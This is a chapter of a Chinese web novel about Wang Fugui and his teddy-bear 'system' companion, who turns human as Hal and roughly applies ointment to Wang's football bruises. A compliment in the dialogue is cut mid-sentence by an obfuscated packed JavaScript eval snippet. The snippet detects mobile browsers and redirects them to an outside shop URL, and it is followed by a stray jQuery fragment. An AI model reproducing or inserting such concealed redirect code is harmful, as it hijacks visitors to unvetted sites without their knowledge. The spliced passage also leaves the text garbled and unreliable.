泰迪熊从床上跳下来,他回来没有出声,本来是因为心虚,王富贵让他查卡卡的事,他本以为会很容易,谁知道,根本查不到,卡卡的事情就像是被人给抹掉一般,只剩下了零零散散的东西。

    既然查不到什么,留在那里也没有什么必要。

    比起空旷精致但寒冷的总部,当然是呆在王富贵身边更快活。

    所以他就灰溜溜的回来了。

    本来以为一定会被笑的泰迪熊在看到王富贵那青紫的胳膊腿,彻底怒了。

    他撸了撸并不存在的袖子,大喊道:“那个缺德的把你给打成这样,告诉我,我现在就去给你报仇。”

    “是不是你那后妈?就她最近成天斜着眼睛看你,你说你也是,连她你都打不过?你扎她啊?”

    “停停停。”王富贵打断了泰迪熊的盲目猜测,在让他猜下去,一会儿他连西蒙妮都不会放过。。

    “没有人打我。”

    “那你身上的伤怎么来的?”

    “踢球踢的。”

    泰迪熊这才想起来,昨天晚上,王富贵确实说过,今天会去踢球。

    “那你改名了?”泰迪熊疑惑的问道。

    “啊?”王富贵没有显然没有跟上泰迪熊的脑回路,怎么从踢球扯到名字上。

    “你没改名叫球,怎么能被人踢成这样?”

    “这个冷笑话一点也不好笑。”王富贵翻了个白眼,他本来想要一个人静静的,现在看来是不能了。

    他伸个懒腰,躺到床上,看着头顶的水晶灯,平时光线柔和的水晶灯,此刻的灯光晃得他眼眶发酸。

    让他不自觉的捏紧了口袋里那两颗皱巴巴的糖果。

    “你不能就这么睡。”泰迪熊蹦到王富贵身上,显然是怕他就这么睡着。

    “我洗完澡了。”王富贵不解的看着泰迪熊。

    “什么洗不洗澡的,我是说你还没上药呢?就这么睡,明天会更严重的。”

    “不会,我恢复力很好。”王富贵用被子盖住头,声音从被子里传出来:“而且我没有药。”

    那些医护人员是给他喷了药的,只不过在洗澡的时候被他洗掉了。

    “我这有药。”泰迪熊从口袋里翻了半天,终于从口袋里翻出一个玻璃瓶,“找到了,还好没丢。”

    王富贵从被子里抬眼一看,就看见一个熟悉的瓶子“这不是我家治跌打损伤的药油吗?”他记得他明明都卖了,怎么泰迪熊这里还有?

    “药效太好了,我就买了几瓶,现在不就派上用场了。”泰迪熊隐藏了他本来准备卖给其他系统赚差价这件事。

    “可我今天太累,不想搽药。”

    王富贵又把头缩回被子里,然后被子被掀开,一只毛茸茸的小熊站在他的脸前,叉着腰说道:“你睡你的,剩下的交给我来。”

    王富贵觉得自己像是一条躺在粘板上的鱼,但是经过了一天的运动,他实在是困的眼皮都在打架,算了,就让这只熊自己折腾去吧。

    泰迪熊把药油倒在自己毛茸茸的爪子上,油立刻被爪子上的毛毛吸收。

    泰迪熊:“……”

    他这才想起自己现在只是一具布做的玩偶。

    这可咋子整?

    看来这有那一个办法了。

    王富贵趴在床上,在药油的味道里慢慢闭上了眼睛。

    然后猛的睁开眼睛,他身上的触感不对劲,不是毛茸茸的爪子,而是一双真正的人手!!!

    大手狠狠地掐过他的大腿,疼的他脸部的表情有一瞬间的扭曲。

    王富贵猛地翻身而起,一个剪刀脚将人猛的剪翻到床上后,还不忘朝着那人脸上补上两脚。

    “嗷。”床下传来哀嚎:“王富贵你干啥?”

    声音十分的耳熟。

    王富贵这才看向床下,真的是个人,金发蓝眼,脸被手捂得严严实实看不清脸。

    地上的人捂着鼻子,鲜血从指缝间滴下。

    按照他的脚力,就算踹到铁板上,都能给铁板踹出个窝,现在这个人应该是没有还手的机会了。

    “你是谁?”

    “王富贵,啊,你把我鼻梁踹断了,现在还问我是谁?我和你说这事没完,你就算道歉,我都不会原谅你的。”

    声音更耳熟了,但王富贵十分确定自己绝对没见过眼前的人,不过他心里有个十分大胆的猜想。

    “你是小熊?”王富贵不确定的问到。

    “刚才还说不认识,现在就认识了?说,是不是报复第一次见面我打你脸,才踹的我?”

    “误会,我哪知道你还会变身。”王富贵感觉自己很冤枉,谁让这只熊非得在自己面前表演大变活人,还不和自己提前打招呼。

    “我那不是为了给你抹药吗?玩具熊怎么抹药啊?”

    王富贵:“……”我还以为是掐我大腿呢,原来是抹药?

    “你从来没有说过你是个人,还是个外国的,我一个黄花大闺男,房间里出现个陌生人,我能不害怕吗?”王富贵下床搀起跪在地上的人。

    “松手,让我看看鼻子怎么样了?”他将男人的手从脸上拽开,本来以为会看见塌成一片的鼻子,怎料到那鼻子还好端端的长在脸上,除了流点鼻血,整张脸白净的不像话,他在心里松了口气。

    然后他低头看向自己的腿?第一次对自己的腿力产生怀疑?难道刚才那一脚没踢实?

    “是不是毁容了?我现在感觉浑身疼。”男人还在喋喋不休的抱怨。

    王富贵拽着男人向浴室走去,嘴里敷衍道:“没事,你的脸好好的,一个大男人哭哭啼啼的像什么样子。”他现在一手鼻血,觉意被吓跑了大半,怨气赶得上十个邪剑仙。

    现在最重要的是赶紧给男人止血,他好睡觉。

    “我流了这么多血,你竟然还说我不像男人……”

    “好了,别哭了,血止住了,脸还好好的,要不你看看,要是你真的毁容了,我把我的脸赔给你。”王富贵站在镜子前,给男人洗去脸上的血后打了个哈欠,明明刚才还失眠,怎么现在困得很?

    仔细看,男人长的也不赖,就是那双蓝色的眼睛,实在太过于澄澈,让人无端产生一种距离感。

    “我才不要你的脸,你不是故意的,想要骂我二皮脸。”

    “……”

    我累个超绝敏感肌啊。

    “没有,绝对没有,我发誓,误伤你的事我也道歉,我的错,都是我的错。”王富贵随便哄两句,,按照经验系统吃软不吃硬,就喜欢别人夸它,王富贵这两句,直接把男人哄成翘嘴。

    男人看着镜子里的自己的脸,摸了摸自己挺俏的鼻子,又听到了王富贵的道歉后才露出笑容。

    “算了,原谅你,其实我也有错,本来是想和你说一声的,但是看你睡的很沉,我就……”

    真是贤惠的让人自惭形秽。

    “你看我的脸,是不是很完美?我可是系统选美大赛的第一名。”男人捧着自己的脸,对着王富贵眨眼睛,好可怕的世界,连系统都有选美了?

    “美,你最美,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17852046|211803||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    美死了。”王富贵虽然对外国脸感到脸盲,但面对自己朋友还是十分捧场。

    “还是你有品位,不过是完美,不是美,是帅。”男人显然很高兴,他看着王富贵继续说道:“我的名字是哈尔·埃利奥特,你可以叫我哈尔。”

    “还是个外国名。”王富贵叹气,不过想想也觉得正常,本来就是外国人,不,外国统,起个洋名怎么了。

    外头天已经黑了,王富贵看着男人的大个子犯了难:“还能变回去吗?”

    “No”变都变了,他才不要再变回去。

    “那,你也没事了,现在,”王富贵打量着哈尔那一米八的大个子继续说道:“现在你都变成人了,要不你就回家睡吧,要不明天卡卡见到你,我也解释不清楚。”

    “你要赶我走?”哈尔撇着嘴,满脸的的不可置信,自己不仅没有得到想要的赞美和感激,王富贵现在还要赶自己走,这个见爹忘友的家伙。

    王富贵无辜的摊手:“你在这里没地方睡。”

    “那老大一张床,睡不下两个人吗?咱们以前都是睡一张床的。”

    听见这话,王富贵表情一阵扭曲,经过卡卡昨天那两脚,他只想一个人睡。

    “你也说是以前,你以前只是一只玩偶熊,现在一米八大高个,能一样吗?”

    “所以说到底,你就是嫌弃我?你爸爸比我还高,你为什么不嫌弃他高?”

    见说不过他,王富贵索性直接躺到床上,同时摊开双手双脚:“你想睡这里也行,不过只能睡旁边的沙发上,床上没有位置。”

    “睡沙发就睡沙发。”只要能睡在这里,哈尔就感很好了,反正在他当玩偶的日子,只要到后半夜都会被王富贵一脚窝下床,睡地板的。

    “那我现在睡觉,你别打扰我。”

    看着王富贵马上睡着,哈尔却没忘记正事,他这个样子出现是为了什么,那一脚怎么能可不能白挨。

    “药还没抹完。”

    “明天再说吧。”

    “那怎么能行,你睡你的我继续给你抹。”

    王富贵猛的睁开眼睛,睡意吓醒了大半,看着哈尔那双手,又看向刚才抹过药的地方,那个地方明显紫的吓人。

    不是,哥们,你那手劲我承受不来啊。

    今天他要是让哈尔给他搽药,本来过两天能好,他或许都看不见明天的太阳。

    “要不,还是我自己来?”

    “你这么累了,放着我来就行。”

    哈尔将王富贵按趴在床上,然后将药油倒在手上,他可是做过功课,油必须揉进肉里,药效才能更好,还好他有是劲,王富贵命真好,有他这样一个好朋友。

    ”嗷“王富贵一口咬在被子上,疼的双眼飙泪。

    他感觉半空中王老头正慈祥的冲他招手,王老头来接他了?

    搽完大腿,哈尔掀开王富贵的浴袍,看到了他屁股上的那俩雷霆大脚印和卡通内裤,差点笑出猪叫。

    王富贵:“……”

    “这小可怜,屁股都给踹肿了。”

    王富贵拽着睡袍的一角,奋力阻止,却被轻轻扯开,他就知道,睡衣能生存到现在肯定是有他的道理,他恨睡袍。

    “兄弟,我感觉咱俩有点暧昧了。”

    “错觉,全都是你的错觉,你睡你的觉,不要打扰我。”哈尔已经完全沉浸在自己的搽药艺术里,完全无视手底下挣扎的人。

    王富贵趴在床上,感觉像是被大象踩过一般,呜呜呜,为了这段友情,他真的付出太多。